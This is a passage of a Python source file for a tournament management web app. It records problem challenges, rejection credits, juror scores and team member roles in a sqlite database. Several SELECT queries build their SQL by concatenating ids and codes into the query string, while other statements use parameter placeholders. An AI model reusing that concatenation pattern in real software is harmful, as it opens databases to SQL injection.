row in result_rows:\n #\"PROBLEM_ID, EVENT_ID, PROBLEM_LABEL, PROBLEM_LABEL_CODE, PROBLEM_DESCRIPTION, \" 0-4\n # problem status code: 1-proposed, 2-rejected, 3-accepted\n tmp_problem_info = {\n \"problem_code\": row[7],\n \"problem_id\": row[0],\n \"problem_label_code\": row[3],\n \"problem_label\": row[2],\n \"problem_description\": row[4],\n \"problem_status\": 0,\n \"group_code\" : group_code\n }\n tmp_problem = [row[7], tmp_problem_info]\n problem_list.append(tmp_problem)\n\n return problem_list\n\n\n# save the selected problems at one stage for selective match\n# insert new records in DSTAGE_PROBLEM table\n# - FK: DSTAGE_TEAM_ID, EVENT_PROBLEM_ID, PLAN_ID\n# - for each accepted/rejected problem, add one records\n# current_stage_agenda: (current_stage_code, mpair_id, tmp_role_list)\n# \"PLAN_ID, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, STAGE_PROGRESS_STATUS_CODE, \" \\ 0-4\n# \"MTEAM_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, TEAM_MEMBER_ID, TEAM_MEMBER_NAME \" \\ 5-9\n#tmp_role_info = (row[0], row[1], row[4], row[6], row[7], row[8], row[9])\n#tmp_tuple_role = (row[3], row[5], tmp_role_info)\n# update DSTAGE_TEAM table to set the accepted problem\n# parameters:\ndef save_stage_problems(plan_id, stage_code, current_stage_agenda, current_stage_problems, current_group_code, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n mpair_id = 0\n accepted_problem_id = 0\n accepted_problem_code = 0\n\n # initiate coefficience\n reduction_for_each_rejection = 0.2\n rep_coefficince = 3.0\n opp_coefficince = 2.0\n reporter_mteam_rejection_credit_g1 = 0\n reporter_mteam_rejection_credit_g2 = 0\n reporter_current_stage_rejection_credit_g1 = 0\n reporter_current_stage_rejection_credit_g2 = 0\n reporter_current_stage_rejection_times = 0\n reporter_mteam_code = current_stage_agenda[2][0][1]\n # check if the reporter team has taken the credit for one rejection of each group problem\n command = \"SELECT \" \\\n \"REP_REJECTION_CREDIT_G1, REP_REJECTION_CREDIT_G2 \" \\\n \"FROM MTEAM \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MTEAM_CODE=\" + str(reporter_mteam_code) + \" \" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n for row in result:\n reporter_mteam_rejection_credit_g1 = row[0]\n reporter_mteam_rejection_credit_g2 = row[1]\n break\n #insert new records TO DSTAGE_problem table\n for problem in current_stage_problems[1]:\n # mpair_id\n mpair_id = current_stage_agenda[1]\n # opponent team's DSTAGE_TEAM_ID\n problem_proposed_by = current_stage_agenda[2][1][2][4]\n # reporter team's DSTAGE_TEAM_ID\n problem_proposed_to = current_stage_agenda[2][0][2][4]\n if problem['problem_status'] == 3:\n accepted_problem_id = problem['problem_id']\n accepted_problem_code = problem['problem_code']\n\n if problem['problem_status'] == 2:\n reporter_current_stage_rejection_times += 1\n\n if problem['problem_status'] > 0:\n _c.execute(\n \"insert into DSTAGE_PROBLEM (DSTAGE_TEAM_ID_FROM, DSTAGE_TEAM_ID_TO, PROBLEM_ID, STAGE_CODE, PROBLEM_CODE, PROBLEM_LABEL_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (problem_proposed_by, problem_proposed_to, problem['problem_id'], stage_code, problem['problem_code'], problem['problem_label_code'], problem['problem_status'], plan_id, current_user_id, current_timestamp))\n\n # calculate reporter team rejection credit\n if reporter_current_stage_rejection_times > 0:\n # has rejections\n if current_group_code == 1:\n # check group 1 credit\n if reporter_mteam_rejection_credit_g1 is None or reporter_mteam_rejection_credit_g1 == 0:\n # give credit to this stage's 1st rejection\n reporter_current_stage_rejection_credit_g1 = 1\n reporter_mteam_rejection_credit_g1 = 1\n else:\n #check group 2 credit\n if reporter_mteam_rejection_credit_g2 is None or reporter_mteam_rejection_credit_g2 == 0:\n # give credit to this stage's 1st rejection\n reporter_current_stage_rejection_credit_g2 = 1\n reporter_mteam_rejection_credit_g2 = 1\n # calculate reporter coefficience - removed on Jan 28th, 2020 because keep reporter coefficience as standard value\n # calculate on the fly: reporter coefficience - (total rejected time - group1/group2 allowance\n # update MTEAM REP_REJECTION_CREDIT_G1, REP_REJECTION_CREDIT_G2\n _c.execute(\n \"UPDATE MTEAM SET REP_REJECTION_CREDIT_G1 = ?, REP_REJECTION_CREDIT_G2=?, last_updated_by = ?, last_updated_date = ? \"\n \"WHERE PLAN_ID = ? AND MTEAM_CODE = ?\",\n (reporter_mteam_rejection_credit_g1, reporter_mteam_rejection_credit_g2, current_user_id, current_timestamp, plan_id, reporter_mteam_code))\n else:\n # no rejection\n pass\n #update DSTAGE_TEAM table to set the accepted problem\n if accepted_problem_id > 0:\n _c.execute(\n \"UPDATE DSTAGE_TEAM SET STAGE_MATCH_PROBLEM_ID = ?, STAGE_MATCH_PROBLEM_CODE=?, REP_COEFFICIENCE=?, OPP_COEFFICIENCE = ?, \"\n \"REP_REJECTION_CREIDT_G1 = ?, REP_REJECTION_CREIDT_G2 = ?, TOTAL_REJECTED_TIMES = ?, last_updated_by = ?, last_updated_date = ? \"\n \"WHERE PLAN_ID = ? AND MPAIR_ID = ? AND STAGE_CODE = ?\",\n (accepted_problem_id, accepted_problem_code, rep_coefficince, opp_coefficince,\n reporter_current_stage_rejection_credit_g1, reporter_current_stage_rejection_credit_g2, reporter_current_stage_rejection_times,\n current_user_id, current_timestamp, plan_id, mpair_id, stage_code))\n\n # update MPAIR stage_status_code\n stage_status_code = 1\n if stage_code == 1:\n stage_status_code = 11\n elif stage_code == 2:\n stage_status_code = 21\n _c.execute(\"UPDATE MPAIR SET MPAIR_STAGE_STATUS_CODE = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_ID = ?\",\n (stage_status_code, current_user_id, current_timestamp, plan_id, mpair_id))\n\n _conn.commit()\n _conn.close()\n\n\ndef update_mpair_stage_status(plan_id, mpair_id, mpair_stage_status_code, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n\n # update MPAIR stage_status_code\n _c.execute(\"UPDATE MPAIR SET MPAIR_STAGE_STATUS_CODE = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_ID = ?\",\n (mpair_stage_status_code, current_user_id, current_timestamp, plan_id, mpair_id))\n\n _conn.commit()\n _conn.close()\n\n\n# save scores for specifc stage, pair, juror\n# insert new record to DSTAGE_SCORE\n# - FK: DSTAGE_JUROR_ID, DSTAGE_TEAM_ID\n# - for each key/value: find DSTAGE_JUROR_ID\n# - from current_stage_agenda: find rep's DSTAGE_TEAM_ID and opp's DSTAGE_TEAM_ID\n# update MPAIR stage_status_code to 13 or 23\n# parameters:\ndef save_stage_scores(plan_id, current_pair_id, stage_scores, current_stage_agenda, stage_code, room_code, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n\n # get volunteer id and code for data entrier\n command = \"SELECT \" \\\n \"MVOLUNTEER_ID, MVOLUNTEER_CODE \" \\\n \"FROM v_mvolunteers \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MROOM_CODE=\" + str(room_code) + \" \" \\\n \"AND PPANT_USER_ID=\" + str(current_user_id) + \" \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n mvolunteer_id = None\n mvolunteer_code = 0\n for row in result:\n mvolunteer_id = row[0]\n mvolunteer_code = row[1]\n break\n\n # get reporter and oppoent DSTAGE_TEAM_ID\n reporter_dstage_team_id = current_stage_agenda[2][0][2][4]\n reporter_team_code = current_stage_agenda[2][0][1]\n opponent_dstage_team_id = current_stage_agenda[2][1][2][4]\n opponent_team_code = current_stage_agenda[2][1][1]\n #insert new records in DSTAGE_SCORE table\n team_score_key = None\n key_str = None\n mjuror_code = 0\n team_role = 0\n mjuror_score_element_id = 0\n dstage_juror_id = 0\n dstage_team_id = None\n team_code = 0\n team_sc1 = 0\n team_sc2 = 0\n team_sc3 = 0\n team_sc4 = 0\n team_sc5 = 0\n for item in stage_scores:\n # key: j_4_opp_3_92\n key_str = item[0].split(\"_\", 4)\n tmp_team_score_key = key_str[1] + \"_\" + key_str[2]\n if team_score_key != tmp_team_score_key:\n if team_score_key != None:\n # previous values are for the new record\n total_score = team_sc1 + team_sc2 + team_sc3 + team_sc4 + team_sc5\n # insert into DSTAGE_SCORE table\n _c.execute(\n \"insert into DSTAGE_SCORE (DSTAGE_TEAM_ID, DSTAGE_JUROR_ID, MTEAM_CODE, MJUROR_CODE, STAGE_CODE, \"\n \"SCORE_MVOLUNTEER_ID, SCORE_MVOLUNTEER_CODE, SCORE_ENTER_BY, TOTAL_SCORE, \"\n \"SC1, SC2, SC3, SC4, SC5, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (dstage_team_id, dstage_juror_id, team_code, mjuror_code, stage_code, mvolunteer_id, mvolunteer_code,\n current_user_id, total_score, team_sc1 , team_sc2 , team_sc3 , team_sc4 , team_sc5,\n plan_id, current_user_id, current_timestamp))\n # reset data\n team_score_key = tmp_team_score_key\n team_sc1 = 0\n team_sc2 = 0\n team_sc3 = 0\n team_sc4 = 0\n team_sc5 = 0\n mjuror_code = key_str[1]\n team_role = key_str[2]\n dstage_juror_id = key_str[4]\n dstage_team_id = None\n if team_role == \"rep\":\n dstage_team_id = reporter_dstage_team_id\n team_code = reporter_team_code\n elif team_role == \"opp\":\n dstage_team_id = opponent_dstage_team_id\n team_code = opponent_team_code\n mjuror_score_element_id = key_str[3]\n if mjuror_score_element_id == \"1\":\n team_sc1 = float(item[1])\n elif mjuror_score_element_id == \"2\":\n team_sc2 = float(item[1])\n elif mjuror_score_element_id == \"3\":\n team_sc3 = float(item[1])\n elif mjuror_score_element_id == \"4\":\n team_sc4 = float(item[1])\n elif mjuror_score_element_id == \"5\":\n team_sc5 = float(item[1])\n\n if team_score_key != None:\n # previous values are for the new record\n total_score = team_sc1 + team_sc2 + team_sc3 + team_sc4 + team_sc5\n # insert into DSTAGE_SCORE table\n _c.execute(\n \"insert into DSTAGE_SCORE (DSTAGE_TEAM_ID, DSTAGE_JUROR_ID, MTEAM_CODE, MJUROR_CODE, STAGE_CODE, \"\n \"SCORE_MVOLUNTEER_ID, SCORE_MVOLUNTEER_CODE, SCORE_ENTER_BY, TOTAL_SCORE, \"\n \"SC1, SC2, SC3, SC4, SC5, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (dstage_team_id, dstage_juror_id, team_code, mjuror_code, stage_code, mvolunteer_id, mvolunteer_code,\n current_user_id, total_score, team_sc1 , team_sc2 , team_sc3 , team_sc4 , team_sc5,\n plan_id, current_user_id, current_timestamp))\n\n # update MPAIR stage_status_code\n stage_status_code = 99\n if stage_code == 1:\n stage_status_code = 13\n elif stage_code == 2:\n stage_status_code = 23\n _c.execute(\"UPDATE MPAIR SET MPAIR_STAGE_STATUS_CODE = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_ID = ?\",\n (stage_status_code, current_user_id, current_timestamp, plan_id, current_pair_id))\n\n _conn.commit()\n _conn.close()\n\n\n# save scores for specifc stage, pair, juror - final match\n# insert new record to DSTAGE_SCORE\n# - FK: DSTAGE_JUROR_ID, DSTAGE_TEAM_ID\n# - for each key/value: find DSTAGE_JUROR_ID\n# - from current_stage_agenda: find rep's DSTAGE_TEAM_ID and opp's DSTAGE_TEAM_ID\n# update MPAIR stage_status_code to 13 or 23, 33\n# parameters:\ndef save_fm_stage_scores(plan_id, sm_plan_id, current_pair_id, stage_scores, current_stage_agenda, stage_code, room_code, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n\n # get volunteer id and code for data entrier\n command = \"SELECT \" \\\n \"MVOLUNTEER_ID, MVOLUNTEER_CODE \" \\\n \"FROM v_mvolunteers \" \\\n \"WHERE PLAN_ID=\" + str(sm_plan_id) + \" \" \\\n \"AND MROOM_CODE=\" + str(room_code) + \" \" \\\n \"AND PPANT_USER_ID=\" + str(current_user_id) + \" \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n mvolunteer_id = None\n mvolunteer_code = 0\n for row in result:\n mvolunteer_id = row[0]\n mvolunteer_code = row[1]\n break\n\n # get reporter and oppoent DSTAGE_TEAM_ID + reviewer\n reporter_dstage_team_id = current_stage_agenda[2][0][2][4]\n reporter_team_code = current_stage_agenda[2][0][1]\n opponent_dstage_team_id = current_stage_agenda[2][1][2][4]\n opponent_team_code = current_stage_agenda[2][1][1]\n reviewer_dstage_team_id = current_stage_agenda[2][2][2][4]\n reviewer_team_code = current_stage_agenda[2][2][1]\n #insert new records in DSTAGE_SCORE table\n team_score_key = None\n key_str = None\n mjuror_code = 0\n team_role = 0\n mjuror_score_element_id = 0\n dstage_juror_id = 0\n dstage_team_id = None\n team_code = 0\n team_sc1 = 0\n team_sc2 = 0\n team_sc3 = 0\n team_sc4 = 0\n team_sc5 = 0\n team_sc6 = 0\n team_sc7 = 0\n for item in stage_scores:\n # key: j_4_opp_3_92\n key_str = item[0].split(\"_\", 4)\n tmp_team_score_key = key_str[1] + \"_\" + key_str[2]\n if team_score_key != tmp_team_score_key:\n if team_score_key != None:\n # previous values are for the new record\n total_score = team_sc1 + team_sc2 + team_sc3 + team_sc4 + team_sc5 + team_sc6 + team_sc7\n # insert into DSTAGE_SCORE table\n _c.execute(\n \"insert into DSTAGE_SCORE (DSTAGE_TEAM_ID, DSTAGE_JUROR_ID, MTEAM_CODE, MJUROR_CODE, STAGE_CODE, \"\n \"SCORE_MVOLUNTEER_ID, SCORE_MVOLUNTEER_CODE, SCORE_ENTER_BY, TOTAL_SCORE, \"\n \"SC1, SC2, SC3, SC4, SC5, SC6, SC7, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (dstage_team_id, dstage_juror_id, team_code, mjuror_code, stage_code, mvolunteer_id, mvolunteer_code,\n current_user_id, total_score, team_sc1 , team_sc2 , team_sc3 , team_sc4 , team_sc5, team_sc6, team_sc7,\n plan_id, current_user_id, current_timestamp))\n # reset data\n team_score_key = tmp_team_score_key\n team_sc1 = 0\n team_sc2 = 0\n team_sc3 = 0\n team_sc4 = 0\n team_sc5 = 0\n team_sc6 = 0\n team_sc7 = 0\n mjuror_code = key_str[1]\n team_role = key_str[2]\n dstage_juror_id = key_str[4]\n dstage_team_id = None\n if team_role == \"rep\":\n dstage_team_id = reporter_dstage_team_id\n team_code = reporter_team_code\n elif team_role == \"opp\":\n dstage_team_id = opponent_dstage_team_id\n team_code = opponent_team_code\n elif team_role == \"rev\":\n dstage_team_id = reviewer_dstage_team_id\n team_code = reviewer_team_code\n mjuror_score_element_id = key_str[3]\n if mjuror_score_element_id == \"1\":\n team_sc1 = float(item[1])\n elif mjuror_score_element_id == \"2\":\n team_sc2 = float(item[1])\n elif mjuror_score_element_id == \"3\":\n team_sc3 = float(item[1])\n elif mjuror_score_element_id == \"4\":\n team_sc4 = float(item[1])\n elif mjuror_score_element_id == \"5\":\n team_sc5 = float(item[1])\n elif mjuror_score_element_id == \"6\":\n team_sc6 = float(item[1])\n elif mjuror_score_element_id == \"7\":\n team_sc7 = float(item[1])\n\n if team_score_key != None:\n # previous values are for the new record\n total_score = team_sc1 + team_sc2 + team_sc3 + team_sc4 + team_sc5 + team_sc6 + team_sc7\n # insert into DSTAGE_SCORE table\n _c.execute(\n \"insert into DSTAGE_SCORE (DSTAGE_TEAM_ID, DSTAGE_JUROR_ID, MTEAM_CODE, MJUROR_CODE, STAGE_CODE, \"\n \"SCORE_MVOLUNTEER_ID, SCORE_MVOLUNTEER_CODE, SCORE_ENTER_BY, TOTAL_SCORE, \"\n \"SC1, SC2, SC3, SC4, SC5, SC6, SC7, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (dstage_team_id, dstage_juror_id, team_code, mjuror_code, stage_code, mvolunteer_id, mvolunteer_code,\n current_user_id, total_score, team_sc1, team_sc2, team_sc3, team_sc4, team_sc5, team_sc6, team_sc7,\n plan_id, current_user_id, current_timestamp))\n\n # update MPAIR stage_status_code\n stage_status_code = 99\n if stage_code == 1:\n stage_status_code = 13\n elif stage_code == 2:\n stage_status_code = 23\n elif stage_code == 3:\n stage_status_code = 33\n _c.execute(\"UPDATE MPAIR SET MPAIR_STAGE_STATUS_CODE = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_ID = ?\",\n (stage_status_code, current_user_id, current_timestamp, plan_id, current_pair_id))\n\n _conn.commit()\n _conn.close()\n\n\n# Search all the team members' roles at each stage and the problem taken\ndef search_team_member_roles(plan_id, team_code=0, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if team_code > 0:\n command = \"SELECT \" \\\n \"EVENT_ID, PLAN_ID, MTEAM_CODE, TEAM_MEMBER_ID, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\\n \"MROOM_ID, MROOM_CODE, EVENT_ROUND_ID, ROUND_CODE, ROUND_TYPE, MPAIR_STAGE_STATUS_CODE, \" \\\n \"TEAM_MEMBER_USER_ID, TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, IS_CAPTAIN, \" \\\n \"STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID, STAGE_PROGRESS_STATUS_CODE, MROOM_LABEL, \" \\\n \"TEAM_ID, TEAM_NAME \" \\\n \"FROM v_team_member_roles \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MTEAM_CODE=\" + str(team_code) + \" \" \\\n \"AND MEMBER_STATUS='Approved' \" \\\n \"AND TEAM_STATUS='Approved' \" \\\n \"ORDER by TEAM_MEMBER_ID, ROUND_CODE\" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ID, PLAN_ID, MTEAM_CODE, TEAM_MEMBER_ID, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\\n \"MROOM_ID, MROOM_CODE, EVENT_ROUND_ID, ROUND_CODE, ROUND_TYPE, MPAIR_STAGE_STATUS_CODE, \" \\\n \"TEAM_MEMBER_USER_ID, TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, IS_CAPTAIN, \" \\\n \"STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID, STAGE_PROGRESS_STATUS_CODE, MROOM_LABEL, \" \\\n \"TEAM_ID, TEAM_NAME \" \\\n \"FROM v_team_member_roles \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MEMBER_STATUS='Approved' \" \\\n \"AND TEAM_STATUS='Approved' \" \\\n \"ORDER by MTEAM_CODE, TEAM_MEMBER_ID, ROUND_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the team members' roles at each stage and the problem taken\ndef get_team_member_roles(plan_id, team_code=0, app_db_web_location=app_db_web_location_default):\n result_rows = search_team_member_roles(plan_id, team_code, app_db_web_location)\n current_team_code = 0\n tmp_is_captain = 0\n team_member_role_list = []\n tmp_team_name = None\n tmp_team_member_id = 0\n tmp_team_member_name = None\n tmp_member_list = []\n tmp_dstage_team_list = []\n tmp_member_id_list = []\n tmp_member_take_floor_times = 0\n for row in result_rows:\n if row[2] != current_team_code:\n if tmp_team_member_id > 0:\n tmp_tuple1 = (tmp_team_member_id, tmp_team_member_name, tmp_is_captain, tmp_dstage_team_list, tmp_member_take_floor_times)\n tmp_member_list.append(tmp_tuple1)\n tmp_member_id_list.append(tmp_team_member_id)\n\n if current_team_code >0:\n tmp_tuple2 = (current_team_code, tmp_team_name, tmp_member_list, tmp_member_id_list)\n team_member_role_list.append(tmp_tuple2)\n\n current_team_code = row[2]\n tmp_member_list = []\n tmp_member_id_list = []\n tmp_dstage_team_list = []\n tmp_member_take_floor_times = 0\n tmp_team_name = row[24]\n tmp_team_member_id = row[3]\n tmp_team_member_name = row[16] + \" \" + row[17]\n tmp_is_captain = row[18]\n\n if row[3] != tmp_team_member_id:\n if tmp_team_member_id > 0:\n tmp_tuple1 = (tmp_team_member_id, tmp_team_member_name, tmp_is_captain, tmp_dstage_team_list, tmp_member_take_floor_times)\n tmp_member_list.append(tmp_tuple1)\n tmp_member_id_list.append(tmp_team_member_id)\n\n tmp_dstage_team_list = []\n tmp_member_take_floor_times = 0\n tmp_team_member_id = row[3]\n tmp_team_member_name = row[16] + \" \" + row[17]\n tmp_is_captain = row[18]\n\n #\"EVENT_ID, PLAN_ID, MTEAM_CODE, TEAM_MEMBER_ID, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\ 0-8\n #\"MROOM_ID, MROOM_CODE, EVENT_ROUND_ID, ROUND_CODE, ROUND_TYPE, MPAIR_STAGE_STATUS_CODE, \" \\ 9-14\n #\"TEAM_MEMBER_USER_ID, TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, IS_CAPTAIN, \" \\ 15-18\n #\"STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID, STAGE_PROGRESS_STATUS_CODE, MROOM_LABEL, \" \\ 19-22\n # info: MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \\ 0-4\n # + MROOM_CODE, MROOM_LABEL, ROUND_CODE, MPAIR_STAGE_STATUS_CODE, STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID \\ 5-10\n # + problem_label \\ 11\n problem_label = None\n if row[19] is not None:\n problem_label = chr(ord('A') + row[19] - 1)\n tmp_tuple_dstage_team_info = (row[4], row[5], row[6], row[7], row[8], row[10], row[22], row[12], row[14], row[19], row[20], problem_label)\n tmp_dstage_team_list.append(tmp_tuple_dstage_team_info)\n if row[6] == 1:\n tmp_member_take_floor_times += 1\n\n if tmp_team_member_id > 0:\n tmp_tuple1 = (tmp_team_member_id, tmp_team_member_name, tmp_is_captain, tmp_dstage_team_list, tmp_member_take_floor_times)\n tmp_member_list.append(tmp_tuple1)\n tmp_member_id_list.append(tmp_team_member_id)\n\n if current_team_code > 0:\n tmp_tuple2 = (current_team_code, tmp_team_name, tmp_member_list, tmp_member_id_list)\n team_member_role_list.append(tmp_tuple2)\n\n return team_member_role_list\n\n\n# search all the problems for specific pair of teams that have been challenged (2-rejected, 3-accepted)\ndef search_reporter_problems(plan_id, reporter_team_code, oppenent_team_code, reviewer_team_code, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if reviewer_team_code == 0:\n command = \"SELECT \" \\\n \"PLAN_ID, MTEAM_CODE, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\\n \"MROOM_ID, MROOM_CODE, EVENT_ROUND_ID, ROUND_CODE, ROUND_TYPE, MPAIR_STAGE_STATUS_CODE, \" \\\n \"PROBLEM_GROUP, PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE, \" \\\n \"STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID, STAGE_PROGRESS_STATUS_CODE, MROOM_LABEL \" \\\n \"FROM v_dstage_problems_reporter \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND (MTEAM_CODE=\" + str(reporter_team_code) + \" OR MTEAM_CODE=\" + str(oppenent_team_code) + \" ) \" \\\n \"ORDER by MTEAM_CODE, PROBLEM_CODE, ROUND_CODE, STAGE_CODE\" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"PLAN_ID, MTEAM_CODE, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\\n \"MROOM_ID, MROOM_CODE, EVENT_ROUND_ID, ROUND_CODE, ROUND_TYPE, MPAIR_STAGE_STATUS_CODE, \" \\\n \"PROBLEM_GROUP, PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE, \" \\\n \"STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID, STAGE_PROGRESS_STATUS_CODE, MROOM_LABEL \" \\\n \"FROM v_dstage_problems_reporter \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND (MTEAM_CODE=\" + str(reporter_team_code) + \\\n \" OR MTEAM_CODE=\" + str(oppenent_team_code) + \" OR MTEAM_CODE=\" + str(reviewer_team_code) + \" ) \" \\\n \"ORDER by MTEAM_CODE, PROBLEM_CODE, ROUND_CODE, STAGE_CODE\" \\\n \";\"\n #print(\"***___\", command)\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the problems for specific pair of teams that have been challenged (2-rejected, 3-accepted)\ndef get_reporter_problems(plan_id, reporter_team_code, oppenent_team_code, reviewer_team_code=0, app_db_web_location=app_db_web_location_default):\n result_rows = search_reporter_problems(plan_id, reporter_team_code, oppenent_team_code, reviewer_team_code, app_db_web_location)\n if result_rows is not None and len(result_rows) > 0:\n current_team_code = 0\n tmp_team_problem_list = []\n reporter_problems = []\n tmp_problem_code = 0\n tmp_problem_label_code = 0\n tmp_dstage_problem_list = []\n for row in result_rows:\n if row[1] != current_team_code:\n if tmp_problem_code > 0:\n tmp_tuple1 = (tmp_problem_code, tmp_dstage_problem_list, tmp_problem_label_code)\n tmp_team_problem_list.append(tmp_tuple1)\n\n if current_team_code >0:\n tmp_tuple2 = (current_team_code, tmp_team_problem_list)\n reporter_problems.append(tmp_tuple2)\n\n current_team_code = row[1]\n tmp_team_problem_list = []\n tmp_dstage_problem_list = []\n tmp_problem_code = row[15]\n tmp_problem_label_code = row[16]\n\n if row[15] != tmp_problem_code:\n if tmp_problem_code > 0:\n tmp_tuple1 = (tmp_problem_code, tmp_dstage_problem_list, tmp_problem_label_code)\n tmp_team_problem_list.append(tmp_tuple1)\n\n tmp_dstage_problem_list = []\n tmp_problem_code = row[15]\n tmp_problem_label_code = row[16]\n\n #\"PLAN_ID, MTEAM_CODE, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\ 0-6\n #\"MROOM_ID, MROOM_CODE, EVENT_ROUND_ID, ROUND_CODE, ROUND_TYPE, MPAIR_STAGE_STATUS_CODE, \" \\ 7-12\n #\"PROBLEM_GROUP, PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE, \" \\ 13-17\n #\"STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID, STAGE_PROGRESS_STATUS_CODE, MROOM_LABEL \" \\ 18-21\n # info: ROUND_CODE, MROOM_CODE, STAGE_CODE, STAGE_ROLE_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE,\\\n tmp_tuple_dstage_problem_info = (row[10], row[8], row[3], row[4], row[17])\n tmp_dstage_problem_list.append(tmp_tuple_dstage_problem_info)\n\n if tmp_problem_code > 0:\n tmp_tuple1 = (tmp_problem_code, tmp_dstage_problem_list, tmp_problem_label_code)\n tmp_team_problem_list.append(tmp_tuple1)\n\n if current_team_code > 0:\n tmp_tuple2 = (current_team_code, tmp_team_problem_list)\n reporter_problems.append(tmp_tuple2)\n\n return reporter_problems\n else:\n return None\n\n\n# search all the problems for all teams that have been challenged (2-rejected, 3-accepted)\ndef search_all_reporter_problems(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MTEAM_CODE, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, \" \\\n \"MROOM_ID, MROOM_CODE, EVENT_ROUND_ID, ROUND_CODE, ROUND_TYPE, MPAIR_STAGE_STATUS_CODE, \" \\\n \"PROBLEM_GROUP, PROBLEM_ID, PROBLEM_CODE, PROBLEM_LABEL_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE, \" \\\n \"STAGE_MATCH_PROBLEM_CODE, STAGE_MATCH_PROBLEM_ID, STAGE_PROGRESS_STATUS_CODE, MROOM_LABEL \" \\\n \"FROM v_dstage_problems_reporter \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" + \\\n \"UNION SELECT \" \\\n 